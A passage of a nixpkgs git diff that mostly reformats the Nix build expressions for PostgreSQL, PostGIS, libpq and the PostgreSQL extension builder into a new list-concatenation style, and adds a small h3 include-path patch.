-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace cmake/AddPostgreSQLExtension.cmake \
-        --replace-fail "INTERPROCEDURAL_OPTIMIZATION TRUE" ""
-    '';
+  postPatch = ''
+    substituteInPlace CMakeLists.txt \
+      --replace-fail "add_subdirectory(cmake/h3)" "include_directories(${lib.getDev h3_4}/include/h3)"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace cmake/AddPostgreSQLExtension.cmake \
+      --replace-fail "INTERPROCEDURAL_OPTIMIZATION TRUE" ""
+  '';
 
   nativeBuildInputs = [
     cmake
diff --git a/pkgs/servers/sql/postgresql/ext/postgis.nix b/pkgs/servers/sql/postgresql/ext/postgis.nix
index 541ddbcf0484..9c14f0f30545 100644
--- a/pkgs/servers/sql/postgresql/ext/postgis.nix
+++ b/pkgs/servers/sql/postgresql/ext/postgis.nix
@@ -49,17 +49,16 @@ postgresqlBuildExtension (finalAttrs: {
     hash = "sha256-rJxIZGsQhh8QAacgkepBzzC79McVhY9wFphQIVRQHA8=";
   };
 
-  buildInputs =
-    [
-      geos
-      proj
-      gdal
-      json_c
-      protobufc
-      pcre2.dev
-    ]
-    ++ lib.optional stdenv.hostPlatform.isDarwin libiconv
-    ++ lib.optional withSfcgal sfcgal;
+  buildInputs = [
+    geos
+    proj
+    gdal
+    json_c
+    protobufc
+    pcre2.dev
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin libiconv
+  ++ lib.optional withSfcgal sfcgal;
 
   nativeBuildInputs = [
     autoconf
@@ -70,7 +69,8 @@ postgresqlBuildExtension (finalAttrs: {
     pkg-config
     protobufc
     which
-  ] ++ lib.optional jitSupport llvm;
+  ]
+  ++ lib.optional jitSupport llvm;
 
   dontDisableStatic = true;
 
@@ -129,40 +129,38 @@ postgresqlBuildExtension (finalAttrs: {
 
   passthru.tests.extension = postgresqlTestExtension {
     inherit (finalAttrs) finalPackage;
-    sql =
-      ''
-        CREATE EXTENSION postgis;
-        CREATE EXTENSION postgis_raster;
-        CREATE EXTENSION postgis_topology;
-        -- st_makepoint goes through c code
-        select st_makepoint(1, 1);
-      ''
-      + lib.optionalString withSfcgal ''
-        CREATE EXTENSION postgis_sfcgal;
-        CREATE TABLE geometries (
-          name varchar,
-          geom geometry(PolygonZ) NOT NULL
-        );
+    sql = ''
+      CREATE EXTENSION postgis;
+      CREATE EXTENSION postgis_raster;
+      CREATE EXTENSION postgis_topology;
+      -- st_makepoint goes through c code
+      select st_makepoint(1, 1);
+    ''
+    + lib.optionalString withSfcgal ''
+      CREATE EXTENSION postgis_sfcgal;
+      CREATE TABLE geometries (
+        name varchar,
+        geom geometry(PolygonZ) NOT NULL
+      );
 
-        INSERT INTO geometries(name, geom) VALUES
-          ('planar geom', 'PolygonZ((1 1 0, 1 2 0, 2 2 0, 2 1 0, 1 1 0))'),
-          ('nonplanar geom', 'PolygonZ((1 1 1, 1 2 -1, 2 2 2, 2 1 0, 1 1 1))');
+      INSERT INTO geometries(name, geom) VALUES
+        ('planar geom', 'PolygonZ((1 1 0, 1 2 0, 2 2 0, 2 1 0, 1 1 0))'),
+        ('nonplanar geom', 'PolygonZ((1 1 1, 1 2 -1, 2 2 2, 2 1 0, 1 1 1))');
 
-        SELECT name from geometries where cg_isplanar(geom);
-      '';
-    asserts =
-      [
-        {
-          query = "postgis_version()";
-          expected = "'${lib.versions.major finalAttrs.version}.${lib.versions.minor finalAttrs.version} USE_GEOS=1 USE_PROJ=1 USE_STATS=1'";
-          description = "postgis_version() returns correct values.";
-        }
-      ]
-      ++ lib.optional withSfcgal {
-        query = "postgis_sfcgal_version()";
-        expected = "'${sfcgal.version}'";
-        description = "postgis_sfcgal_version() returns correct value.";
-      };
+      SELECT name from geometries where cg_isplanar(geom);
+    '';
+    asserts = [
+      {
+        query = "postgis_version()";
+        expected = "'${lib.versions.major finalAttrs.version}.${lib.versions.minor finalAttrs.version} USE_GEOS=1 USE_PROJ=1 USE_STATS=1'";
+        description = "postgis_version() returns correct values.";
+      }
+    ]
+    ++ lib.optional withSfcgal {
+      query = "postgis_sfcgal_version()";
+      expected = "'${sfcgal.version}'";
+      description = "postgis_sfcgal_version() returns correct value.";
+    };
   };
 
   meta = {
diff --git a/pkgs/servers/sql/postgresql/generic.nix b/pkgs/servers/sql/postgresql/generic.nix
index 6569b69d56c7..93fbedb7fd2d 100644
--- a/pkgs/servers/sql/postgresql/generic.nix
+++ b/pkgs/servers/sql/postgresql/generic.nix
@@ -163,117 +163,120 @@ let
 
       __structuredAttrs = true;
 
-      outputs =
-        [
-          "out"
-          "dev"
-          "doc"
-          "lib"
-          "man"
-        ]
-        ++ lib.optionals jitSupport [ "jit" ]
-        ++ lib.optionals perlSupport [ "plperl" ]
-        ++ lib.optionals pythonSupport [ "plpython3" ]
-        ++ lib.optionals tclSupport [ "pltcl" ];
+      outputs = [
+        "out"
+        "dev"
+        "doc"
+        "lib"
+        "man"
+      ]
+      ++ lib.optionals jitSupport [ "jit" ]
+      ++ lib.optionals perlSupport [ "plperl" ]
+      ++ lib.optionals pythonSupport [ "plpython3" ]
+      ++ lib.optionals tclSupport [ "pltcl" ];
 
-      outputChecks =
-        {
-          out = {
-            disallowedReferences = [
-              "dev"
-              "doc"
-              "man"
-            ] ++ lib.optionals jitSupport [ "jit" ];
-            disallowedRequisites = [
-              stdenv'.cc
-              llvmPackages.llvm.out
-              llvmPackages.llvm.lib
-            ] ++ (map lib.getDev (builtins.filter (drv: drv ? "dev") finalAttrs.buildInputs));
-          };
-
-          lib = {
-            disallowedReferences = [
-              "out"
-              "dev"
-              "doc"
-              "man"
-            ] ++ lib.optionals jitSupport [ "jit" ];
-            disallowedRequisites = [
-              stdenv'.cc
-              llvmPackages.llvm.out
-              llvmPackages.llvm.lib
-            ] ++ (map lib.getDev (builtins.filter (drv: drv ? "dev") finalAttrs.buildInputs));
-          };
-
-          doc = {
-            disallowedReferences = [
-              "out"
-              "dev"
-              "man"
-            ] ++ lib.optionals jitSupport [ "jit" ];
-          };
-
-          man = {
-            disallowedReferences = [
-              "out"
-              "dev"
-              "doc"
-            ] ++ lib.optionals jitSupport [ "jit" ];
-          };
-        }
-        // lib.optionalAttrs jitSupport {
-          jit = {
-            disallowedReferences = [
-              "dev"
-              "doc"
-              "man"
-            ];
-            disallowedRequisites = [
-              stdenv'.cc
-              llvmPackages.llvm.out
-            ] ++ (map lib.getDev (builtins.filter (drv: drv ? "dev") finalAttrs.buildInputs));
-          };
+      outputChecks = {
+        out = {
+          disallowedReferences = [
+            "dev"
+            "doc"
+            "man"
+          ]
+          ++ lib.optionals jitSupport [ "jit" ];
+          disallowedRequisites = [
+            stdenv'.cc
+            llvmPackages.llvm.out
+            llvmPackages.llvm.lib
+          ]
+          ++ (map lib.getDev (builtins.filter (drv: drv ? "dev") finalAttrs.buildInputs));
         };
 
+        lib = {
+          disallowedReferences = [
+            "out"
+            "dev"
+            "doc"
+            "man"
+          ]
+          ++ lib.optionals jitSupport [ "jit" ];
+          disallowedRequisites = [
+            stdenv'.cc
+            llvmPackages.llvm.out
+            llvmPackages.llvm.lib
+          ]
+          ++ (map lib.getDev (builtins.filter (drv: drv ? "dev") finalAttrs.buildInputs));
+        };
+
+        doc = {
+          disallowedReferences = [
+            "out"
+            "dev"
+            "man"
+          ]
+          ++ lib.optionals jitSupport [ "jit" ];
+        };
+
+        man = {
+          disallowedReferences = [
+            "out"
+            "dev"
+            "doc"
+          ]
+          ++ lib.optionals jitSupport [ "jit" ];
+        };
+      }
+      // lib.optionalAttrs jitSupport {
+        jit = {
+          disallowedReferences = [
+            "dev"
+            "doc"
+            "man"
+          ];
+          disallowedRequisites = [
+            stdenv'.cc
+            llvmPackages.llvm.out
+          ]
+          ++ (map lib.getDev (builtins.filter (drv: drv ? "dev") finalAttrs.buildInputs));
+        };
+      };
+
       strictDeps = true;
 
-      buildInputs =
-        [
-          zlib
-          readline
-          openssl
-          libxml2
-          libuuid
-        ]
-        ++ lib.optionals icuSupport [ icu ]
-        ++ lib.optionals jitSupport [ llvmPackages.llvm ]
-        ++ lib.optionals lz4Enabled [ lz4 ]
-        ++ lib.optionals zstdEnabled [ zstd ]
-        ++ lib.optionals systemdSupport [ systemdLibs ]
-        ++ lib.optionals gssSupport [ libkrb5 ]
-        ++ lib.optionals pamSupport [ linux-pam ]
-        ++ lib.optionals perlSupport [ perl ]
-        ++ lib.optionals ldapSupport [ openldap ]
-        ++ lib.optionals selinuxSupport [ libselinux ]
-        ++ lib.optionals nlsSupport [ gettext ];
+      buildInputs = [
+        zlib
+        readline
+        openssl
+        libxml2
+        libuuid
+      ]
+      ++ lib.optionals icuSupport [ icu ]
+      ++ lib.optionals jitSupport [ llvmPackages.llvm ]
+      ++ lib.optionals lz4Enabled [ lz4 ]
+      ++ lib.optionals zstdEnabled [ zstd ]
+      ++ lib.optionals systemdSupport [ systemdLibs ]
+      ++ lib.optionals gssSupport [ libkrb5 ]
+      ++ lib.optionals pamSupport [ linux-pam ]
+      ++ lib.optionals perlSupport [ perl ]
+      ++ lib.optionals ldapSupport [ openldap ]
+      ++ lib.optionals selinuxSupport [ libselinux ]
+      ++ lib.optionals nlsSupport [ gettext ];
 
-      nativeBuildInputs =
-        [
-          bison
-          docbook-xsl-nons
-          docbook_xml_dtd_45
-          flex
-          libxml2
-          libxslt
-          makeBinaryWrapper
-          perl
-          pkg-config
-          removeReferencesTo
-        ]
-        ++ lib.optionals jitSupport [
-          llvmPackages.llvm.dev
-          nukeReferences
-        ];
+      nativeBuildInputs = [
+        bison
+        docbook-xsl-nons
+        docbook_xml_dtd_45
+        flex
+        libxml2
+        libxslt
+        makeBinaryWrapper
+        perl
+        pkg-config
+        removeReferencesTo
+      ]
+      ++ lib.optionals jitSupport [
+        llvmPackages.llvm.dev
+        nukeReferences
+      ];
 
       enableParallelBuilding = true;
 
@@ -281,27 +284,26 @@ let
 
       buildFlags = [ "world" ];
 
-      env =
-        {
-          # libpgcommon.a and libpgport.a contain all paths returned by pg_config and are linked
-          # into all binaries. However, almost no binaries actually use those paths. The following
-          # flags will remove unused sections from all shared libraries and binaries - including
-          # those paths. This avoids a lot of circular dependency problems with different outputs,
-          # and allows splitting them cleanly.
-          CFLAGS = "-fdata-sections -ffunction-sections -flto";
+      env = {
+        # libpgcommon.a and libpgport.a contain all paths returned by pg_config and are linked
+        # into all binaries. However, almost no binaries actually use those paths. The following
+        # flags will remove unused sections from all shared libraries and binaries - including
+        # those paths. This avoids a lot of circular dependency problems with different outputs,
+        # and allows splitting them cleanly.
+        CFLAGS = "-fdata-sections -ffunction-sections -flto";
 
-          # This flag was introduced upstream in:
-          # https://github.com/postgres/postgres/commit/b6c7cfac88c47a9194d76f3d074129da3c46545a
-          # It causes errors when linking against libpq.a in pkgsStatic:
-          #   undefined reference to `pg_encoding_to_char'
-          # Unsetting the flag fixes it. The upstream reasoning to introduce it is about the risk
-          # to have initdb load a libpq.so from a different major version and how to avoid that.
-          # This doesn't apply to us with Nix.
-          NIX_CFLAGS_COMPILE = "-UUSE_PRIVATE_ENCODING_FUNCS";
-        }
-        // lib.optionalAttrs perlSupport { PERL = lib.getExe perl; }
-        // lib.optionalAttrs pythonSupport { PYTHON = lib.getExe python3; }
-        // lib.optionalAttrs tclSupport { TCLSH = "${lib.getBin tcl}/bin/tclsh"; };
+        # This flag was introduced upstream in:
+        # https://github.com/postgres/postgres/commit/b6c7cfac88c47a9194d76f3d074129da3c46545a
+        # It causes errors when linking against libpq.a in pkgsStatic:
+        #   undefined reference to `pg_encoding_to_char'
+        # Unsetting the flag fixes it. The upstream reasoning to introduce it is about the risk
+        # to have initdb load a libpq.so from a different major version and how to avoid that.
+        # This doesn't apply to us with Nix.
+        NIX_CFLAGS_COMPILE = "-UUSE_PRIVATE_ENCODING_FUNCS";
+      }
+      // lib.optionalAttrs perlSupport { PERL = lib.getExe perl; }
+      // lib.optionalAttrs pythonSupport { PYTHON = lib.getExe python3; }
+      // lib.optionalAttrs tclSupport { TCLSH = "${lib.getBin tcl}/bin/tclsh"; };
 
       configureFlags =
         let
@@ -346,136 +348,133 @@ let
         ++ lib.optionals nlsSupport [ "--enable-nls" ]
         ++ lib.optionals bonjourSupport [ "--with-bonjour" ];
 
-      patches =
-        [
-          (
-            if atLeast "16" then
-              ./patches/relative-to-symlinks-16+.patch
-            else
-              ./patches/relative-to-symlinks.patch
-          )
-          (
-            if atLeast "15" then
-              ./patches/empty-pg-config-view-15+.patch
-            else
-              ./patches/empty-pg-config-view.patch
-          )
-          ./patches/less-is-more.patch
-          ./patches/paths-for-split-outputs.patch
-          ./patches/paths-with-postgresql-suffix.patch
-
-          (replaceVars ./patches/locale-binary-path.patch {
-            locale = "${
-              if stdenv.hostPlatform.isDarwin then
-                darwin.adv_cmds
-              else if stdenv.hostPlatform.isFreeBSD then
-                freebsd.locale
-              else
-                lib.getBin stdenv.cc.libc
-            }/bin/locale";
-          })
-        ]
-        ++ lib.optionals stdenv'.hostPlatform.isMusl (
-          # Using fetchurl instead of fetchpatch on purpose: https://github.com/NixOS/nixpkgs/issues/240141
-          map fetchurl (lib.attrValues muslPatches)
+      patches = [
+        (
+          if atLeast "16" then
+            ./patches/relative-to-symlinks-16+.patch
+          else
+            ./patches/relative-to-symlinks.patch
         )
-        ++ lib.optionals stdenv'.hostPlatform.isLinux [
-          ./patches/socketdir-in-run-13+.patch
-        ]
-        ++ lib.optionals (stdenv'.hostPlatform.isDarwin && olderThan "16") [
-          ./patches/export-dynamic-darwin-15-.patch
-        ];
+        (
+          if atLeast "15" then
+            ./patches/empty-pg-config-view-15+.patch
+          else
+            ./patches/empty-pg-config-view.patch
+        )
+        ./patches/less-is-more.patch
+        ./patches/paths-for-split-outputs.patch
+        ./patches/paths-with-postgresql-suffix.patch
+
+        (replaceVars ./patches/locale-binary-path.patch {
+          locale = "${
+            if stdenv.hostPlatform.isDarwin then
+              darwin.adv_cmds
+            else if stdenv.hostPlatform.isFreeBSD then
+              freebsd.locale
+            else
+              lib.getBin stdenv.cc.libc
+          }/bin/locale";
+        })
+      ]
+      ++ lib.optionals stdenv'.hostPlatform.isMusl (
+        # Using fetchurl instead of fetchpatch on purpose: https://github.com/NixOS/nixpkgs/issues/240141
+        map fetchurl (lib.attrValues muslPatches)
+      )
+      ++ lib.optionals stdenv'.hostPlatform.isLinux [
+        ./patches/socketdir-in-run-13+.patch
+      ]
+      ++ lib.optionals (stdenv'.hostPlatform.isDarwin && olderThan "16") [
+        ./patches/export-dynamic-darwin-15-.patch
+      ];
 
       installTargets = [ "install-world" ];
 
-      postPatch =
-        ''
-          substituteInPlace "src/Makefile.global.in" --subst-var out
-          substituteInPlace "src/common/config_info.c" --subst-var dev
-          cat ${./pg_config.env.mk} >> src/common/Makefile
-        ''
-        # This check was introduced upstream to prevent calls to "exit" inside libpq.
-        # However, this doesn't work reliably with static linking, see this and following:
-        # https://postgr.es/m/flat/20210703001639.GB2374652%40rfd.leadboat.com#52584ca4bd3cb9dac376f3158c419f97
-        # Thus, disable the check entirely, as it would currently fail with this:
-        # > libpq.so.5.17:                  U atexit
-        # > libpq.so.5.17:                  U pthread_exit
-        # > libpq must not be calling any function which invokes exit
-        # Don't mind the fact that this checks libpq.**so** in pkgsStatic - that's correct, since PostgreSQL
-        # still needs a shared library internally.
-        + lib.optionalString (atLeast "15" && stdenv'.hostPlatform.isStatic) ''
-          substituteInPlace src/interfaces/libpq/Makefile \
-            --replace-fail "echo 'libpq must not be calling any function which invokes exit'; exit 1;" "echo;"
-        '';
+      postPatch = ''
+        substituteInPlace "src/Makefile.global.in" --subst-var out
+        substituteInPlace "src/common/config_info.c" --subst-var dev
+        cat ${./pg_config.env.mk} >> src/common/Makefile
+      ''
+      # This check was introduced upstream to prevent calls to "exit" inside libpq.
+      # However, this doesn't work reliably with static linking, see this and following:
+      # https://postgr.es/m/flat/20210703001639.GB2374652%40rfd.leadboat.com#52584ca4bd3cb9dac376f3158c419f97
+      # Thus, disable the check entirely, as it would currently fail with this:
+      # > libpq.so.5.17:                  U atexit
+      # > libpq.so.5.17:                  U pthread_exit
+      # > libpq must not be calling any function which invokes exit
+      # Don't mind the fact that this checks libpq.**so** in pkgsStatic - that's correct, since PostgreSQL
+      # still needs a shared library internally.
+      + lib.optionalString (atLeast "15" && stdenv'.hostPlatform.isStatic) ''
+        substituteInPlace src/interfaces/libpq/Makefile \
+          --replace-fail "echo 'libpq must not be calling any function which invokes exit'; exit 1;" "echo;"
+      '';
 
-      postInstall =
-        ''
-          moveToOutput "bin/ecpg" "$dev"
-          moveToOutput "lib/pgxs" "$dev"
-        ''
-        + lib.optionalString (stdenv'.buildPlatform.canExecute stdenv'.hostPlatform) ''
-          mkdir -p "$dev/nix-support"
-          "$out/bin/pg_config" > "$dev/nix-support/pg_config.expected"
-        ''
-        + ''
-          rm "$out/bin/pg_config"
-          make -C src/common pg_config.env
-          install -D src/common/pg_config.env "$dev/nix-support/pg_config.env"
+      postInstall = ''
+        moveToOutput "bin/ecpg" "$dev"
+        moveToOutput "lib/pgxs" "$dev"
+      ''
+      + lib.optionalString (stdenv'.buildPlatform.canExecute stdenv'.hostPlatform) ''
+        mkdir -p "$dev/nix-support"
+        "$out/bin/pg_config" > "$dev/nix-support/pg_config.expected"
+      ''
+      + ''
+        rm "$out/bin/pg_config"
+        make -C src/common pg_config.env
+        install -D src/common/pg_config.env "$dev/nix-support/pg_config.env"
 
-          # postgres exposes external symbols get_pkginclude_path and similar. Those
-          # can't be stripped away by --gc-sections/LTO, because they could theoretically
-          # be used by dynamically loaded modules / extensions. To avoid circular dependencies,
-          # references to -dev, -doc and -man are removed here. References to -lib must be kept,
-          # because there is a realistic use-case for extensions to locate the /lib directory to
-          # load other shared modules.
-          remove-references-to -t "$dev" -t "$doc" -t "$man" "$out/bin/postgres"
-        ''
-        + lib.optionalString (!stdenv'.hostPlatform.isStatic) ''
-          if [ -z "''${dontDisableStatic:-}" ]; then
-            # Remove static libraries in case dynamic are available.
-            for i in $lib/lib/*.a; do
-              name="$(basename "$i")"
-              ext="${stdenv'.hostPlatform.extensions.sharedLibrary}"
-              if [ -e "$lib/lib/''${name%.a}$ext" ] || [ -e "''${i%.a}$ext" ]; then
-                rm "$i"
-              fi
-            done
-          fi
-        ''
-        + ''
-          # The remaining static libraries are libpgcommon.a, libpgport.a and related.
-          # Those are only used when building e.g. extensions, so go to $dev.
-          moveToOutput "lib/*.a" "$dev"
-        ''
-        + lib.optionalString jitSupport ''
-          # In the case of JIT support, prevent useless dependencies on header files
-          find "$out/lib" -iname '*.bc' -type f -exec nuke-refs '{}' +
+        # postgres exposes external symbols get_pkginclude_path and similar. Those
+        # can't be stripped away by --gc-sections/LTO, because they could theoretically
+        # be used by dynamically loaded modules / extensions. To avoid circular dependencies,
+        # references to -dev, -doc and -man are removed here. References to -lib must be kept,
+        # because there is a realistic use-case for extensions to locate the /lib directory to
+        # load other shared modules.
+        remove-references-to -t "$dev" -t "$doc" -t "$man" "$out/bin/postgres"
+      ''
+      + lib.optionalString (!stdenv'.hostPlatform.isStatic) ''
+        if [ -z "''${dontDisableStatic:-}" ]; then
+          # Remove static libraries in case dynamic are available.
+          for i in $lib/lib/*.a; do
+            name="$(basename "$i")"
+            ext="${stdenv'.hostPlatform.extensions.sharedLibrary}"
+            if [ -e "$lib/lib/''${name%.a}$ext" ] || [ -e "''${i%.a}$ext" ]; then
+              rm "$i"
+            fi
+          done
+        fi
+      ''
+      + ''
+        # The remaining static libraries are libpgcommon.a, libpgport.a and related.
+        # Those are only used when building e.g. extensions, so go to $dev.
+        moveToOutput "lib/*.a" "$dev"
+      ''
+      + lib.optionalString jitSupport ''
+        # In the case of JIT support, prevent useless dependencies on header files
+        find "$out/lib" -iname '*.bc' -type f -exec nuke-refs '{}' +
 
-          # Stop lib depending on the -dev output of llvm
-          remove-references-to -t ${llvmPackages.llvm.dev} "$out/lib/llvmjit${dlSuffix}"
+        # Stop lib depending on the -dev output of llvm
+        remove-references-to -t ${llvmPackages.llvm.dev} "$out/lib/llvmjit${dlSuffix}"
 
-          moveToOutput "lib/bitcode" "$jit"
-          moveToOutput "lib/llvmjit*" "$jit"
-        ''
-        + lib.optionalString stdenv'.hostPlatform.isDarwin ''
-          # The darwin specific Makefile for PGXS contains a reference to the postgres
-          # binary. Some extensions (here: postgis), which are able to set bindir correctly
-          # to their own output for installation, will then fail to find "postgres" during linking.
-          substituteInPlace "$dev/lib/pgxs/src/Makefile.port" \
-            --replace-fail '-bundle_loader $(bindir)/postgres' "-bundle_loader $out/bin/postgres"
-        ''
-        + lib.optionalString perlSupport ''
-          moveToOutput "lib/*plperl*" "$plperl"
-          moveToOutput "share/postgresql/extension/*plperl*" "$plperl"
-        ''
-        + lib.optionalString pythonSupport ''
-          moveToOutput "lib/*plpython3*" "$plpython3"
-          moveToOutput "share/postgresql/extension/*plpython3*" "$plpython3"
-        ''
-        + lib.optionalString tclSupport ''
-          moveToOutput "lib/*pltcl*" "$pltcl"
-          moveToOutput "share/postgresql/extension/*pltcl*" "$pltcl"
-        '';
+        moveToOutput "lib/bitcode" "$jit"
+        moveToOutput "lib/llvmjit*" "$jit"
+      ''
+      + lib.optionalString stdenv'.hostPlatform.isDarwin ''
+        # The darwin specific Makefile for PGXS contains a reference to the postgres
+        # binary. Some extensions (here: postgis), which are able to set bindir correctly
+        # to their own output for installation, will then fail to find "postgres" during linking.
+        substituteInPlace "$dev/lib/pgxs/src/Makefile.port" \
+          --replace-fail '-bundle_loader $(bindir)/postgres' "-bundle_loader $out/bin/postgres"
+      ''
+      + lib.optionalString perlSupport ''
+        moveToOutput "lib/*plperl*" "$plperl"
+        moveToOutput "share/postgresql/extension/*plperl*" "$plperl"
+      ''
+      + lib.optionalString pythonSupport ''
+        moveToOutput "lib/*plpython3*" "$plpython3"
+        moveToOutput "share/postgresql/extension/*plpython3*" "$plpython3"
+      ''
+      + lib.optionalString tclSupport ''
+        moveToOutput "lib/*pltcl*" "$pltcl"
+        moveToOutput "share/postgresql/extension/*pltcl*" "$pltcl"
+      '';
 
       postFixup = lib.optionalString stdenv'.hostPlatform.isGnu ''
         # initdb needs access to "locale" command from glibc.
@@ -545,16 +544,15 @@ let
 
           pg_config = buildPackages.callPackage ./pg_config.nix { inherit (finalAttrs) finalPackage; };
 
-          tests =
-            {
-              postgresql = nixosTests.postgresql.postgresql.passthru.override finalAttrs.finalPackage;
-              postgresql-tls-client-cert = nixosTests.postgresql.postgresql-tls-client-cert.passthru.override finalAttrs.finalPackage;
-              postgresql-wal-receiver = nixosTests.postgresql.postgresql-wal-receiver.passthru.override finalAttrs.finalPackage;
-              pkg-config = testers.testMetaPkgConfig finalAttrs.finalPackage;
-            }
-            // lib.optionalAttrs jitSupport {
-              postgresql-jit = nixosTests.postgresql.postgresql-jit.passthru.override finalAttrs.finalPackage;
-            };
+          tests = {
+            postgresql = nixosTests.postgresql.postgresql.passthru.override finalAttrs.finalPackage;
+            postgresql-tls-client-cert = nixosTests.postgresql.postgresql-tls-client-cert.passthru.override finalAttrs.finalPackage;
+            postgresql-wal-receiver = nixosTests.postgresql.postgresql-wal-receiver.passthru.override finalAttrs.finalPackage;
+            pkg-config = testers.testMetaPkgConfig finalAttrs.finalPackage;
+          }
+          // lib.optionalAttrs jitSupport {
+            postgresql-jit = nixosTests.postgresql.postgresql-jit.passthru.override finalAttrs.finalPackage;
+          };
         };
 
       meta = with lib; {
diff --git a/pkgs/servers/sql/postgresql/libpq.nix b/pkgs/servers/sql/postgresql/libpq.nix
index 6af21fba86b7..d3f3da989186 100644
--- a/pkgs/servers/sql/postgresql/libpq.nix
+++ b/pkgs/servers/sql/postgresql/libpq.nix
@@ -53,16 +53,16 @@ stdenv.mkDerivation (finalAttrs: {
     disallowedReferences = [ "dev" ];
     disallowedRequisites = [
       stdenv.cc
-    ] ++ (map lib.getDev (builtins.filter (drv: drv ? "dev") finalAttrs.buildInputs));
+    ]
+    ++ (map lib.getDev (builtins.filter (drv: drv ? "dev") finalAttrs.buildInputs));
   };
 
-  buildInputs =
-    [
-      zlib
-      openssl
-    ]
-    ++ lib.optionals gssSupport [ libkrb5 ]
-    ++ lib.optionals nlsSupport [ gettext ];
+  buildInputs = [
+    zlib
+    openssl
+  ]
+  ++ lib.optionals gssSupport [ libkrb5 ]
+  ++ lib.optionals nlsSupport [ gettext ];
 
   nativeBuildInputs = [
     bison
@@ -100,18 +100,17 @@ stdenv.mkDerivation (finalAttrs: {
   # This doesn't apply to us with Nix.
   env.NIX_CFLAGS_COMPILE = "-UUSE_PRIVATE_ENCODING_FUNCS";
 
-  configureFlags =
-    [
-      "--enable-debug"
-      "--sysconfdir=/etc"
-      "--with-openssl"
-      "--with-system-tzdata=${tzdata}/share/zoneinfo"
-      "--without-icu"
-      "--without-perl"
-      "--without-readline"
-    ]
-    ++ lib.optionals gssSupport [ "--with-gssapi" ]
-    ++ lib.optionals nlsSupport [ "--enable-nls" ];
+  configureFlags = [
+    "--enable-debug"
+    "--sysconfdir=/etc"
+    "--with-openssl"
+    "--with-system-tzdata=${tzdata}/share/zoneinfo"
+    "--without-icu"
+    "--without-perl"
+    "--without-readline"
+  ]
+  ++ lib.optionals gssSupport [ "--with-gssapi" ]
+  ++ lib.optionals nlsSupport [ "--enable-nls" ];
 
   patches = lib.optionals stdenv.hostPlatform.isLinux [
     ./patches/socketdir-in-run-13+.patch
diff --git a/pkgs/servers/sql/postgresql/postgresqlBuildExtension.nix b/pkgs/servers/sql/postgresql/postgresqlBuildExtension.nix
index de5c6c43a168..1fc3574fc77e 100644
--- a/pkgs/servers/sql/postgresql/postgresqlBuildExtension.nix
+++ b/pkgs/servers/sql/postgresql/postgresqlBuildExtension.nix
@@ -94,59 +94,59 @@ lib.extendMkDerivation {
 
       installFlags = [
         "DESTDIR=${placeholder "out"}"
-      ] ++ prevAttrs.installFlags or [ ];
+      ]
+      ++ prevAttrs.installFlags or [ ];
 
-      postInstall =
-        ''
-          # DESTDIR + pg_config install the files into
-          # /nix/store/<extension>/nix/store/<postgresql>/...
-          # We'll now remove the /nix/store/<postgresql> part:
-          if [[ -d "$out${postgresql}" ]]; then
-              cp -alt "$out" "$out${postgresql}"/*
-              rm -r "$out${postgresql}"
-          fi
+      postInstall = ''
+        # DESTDIR + pg_config install the files into
+        # /nix/store/<extension>/nix/store/<postgresql>/...
+        # We'll now remove the /nix/store/<postgresql> part:
+        if [[ -d "$out${postgresql}" ]]; then
+            cp -alt "$out" "$out${postgresql}"/*
+            rm -r "$out${postgresql}"
+        fi
 
-          if [[ -d "$out${postgresql.dev}" ]]; then
-              mkdir -p "''${dev:-$out}"
-              cp -alt "''${dev:-$out}" "$out${postgresql.dev}"/*
-              rm -r "$out${postgresql.dev}"
-          fi
+        if [[ -d "$out${postgresql.dev}" ]]; then
+            mkdir -p "''${dev:-$out}"
+            cp -alt "''${dev:-$out}" "$out${postgresql.dev}"/*
+            rm -r "$out${postgresql.dev}"
+        fi
 
-          if [[ -d "$out${postgresql.lib}" ]]; then
-              mkdir -p "''${lib:-$out}"
-              cp -alt "''${lib:-$out}" "$out${postgresql.lib}"/*
-              rm -r "$out${postgresql.lib}"
-          fi
+        if [[ -d "$out${postgresql.lib}" ]]; then
+            mkdir -p "''${lib:-$out}"
+            cp -alt "''${lib:-$out}" "$out${postgresql.lib}"/*
+            rm -r "$out${postgresql.lib}"
+        fi
 
-          if [[ -d "$out${postgresql.doc}" ]]; then
-              mkdir -p "''${doc:-$out}"
-              cp -alt "''${doc:-$out}" "$out${postgresql.doc}"/*
-              rm -r "$out${postgresql.doc}"
-          fi
+        if [[ -d "$out${postgresql.doc}" ]]; then
+            mkdir -p "''${doc:-$out}"
+            cp -alt "''${doc:-$out}" "$out${postgresql.doc}"/*
+            rm -r "$out${postgresql.doc}"
+        fi
 
-          if [[ -d "$out${postgresql.man}" ]]; then
-              mkdir -p "''${man:-$out}"
-              cp -alt "''${man:-$out}" "$out${postgresql.man}"/*
-              rm -r "$out${postgresql.man}"
-          fi
+        if [[ -d "$out${postgresql.man}" ]]; then
+            mkdir -p "''${man:-$out}"
+            cp -alt "''${man:-$out}" "$out${postgresql.man}"/*
+            rm -r "$out${postgresql.man}"
+        fi
 
-          # In some cases (postgis) parts of the install script
-          # actually work "OK", before we add DESTDIR, so some
-          # files end up in
-          # /nix/store/<extension>/nix/store/<extension>/...
-          if [[ -d "$out$out" ]]; then
-              cp -alt "$out" "$out$out"/*
-              rm -r "$out$out"
-          fi
+        # In some cases (postgis) parts of the install script
+        # actually work "OK", before we add DESTDIR, so some
+        # files end up in
+        # /nix/store/<extension>/nix/store/<extension>/...
+        if [[ -d "$out$out" ]]; then
+            cp -alt "$out" "$out$out"/*
+            rm -r "$out$out"
+        fi
 
-          if [[ -d "$out/nix/store" ]]; then
-              if ! rmdir "$out/nix/store" "$out/nix"; then
-                find "$out/nix"
-                nixErrorLog 'Found left-overs in $out/nix/store, make sure to move them into $out properly.'
-                exit 1
-              fi
-          fi
-        ''
-        + prevAttrs.postInstall or "";
+        if [[ -d "$out/nix/store" ]]; then
+            if ! rmdir "$out/nix/store" "$out/nix"; then
+              find "$out/nix"
+              nixErrorLog 'Found left-overs in $out/nix/store, make sure to move them into $out properly.'
+              exit 1
+            fi
+        fi
+      ''
+      + prevAttrs.postInstall or "";
     };
 }
diff --git a/pkgs/servers/varnish/default.nix b/pkgs/servers/varnish/default.nix
index b496c0569d79..a3e75ff16aee 100644
--- a/pkgs/servers/varnish/default.nix
+++ b/pkgs/servers/varnish/default.nix
@@ -40,19 +40,18 @@ let
         sphinx
         makeWrapper
       ];
-      buildInputs =
-        [
-          libxslt
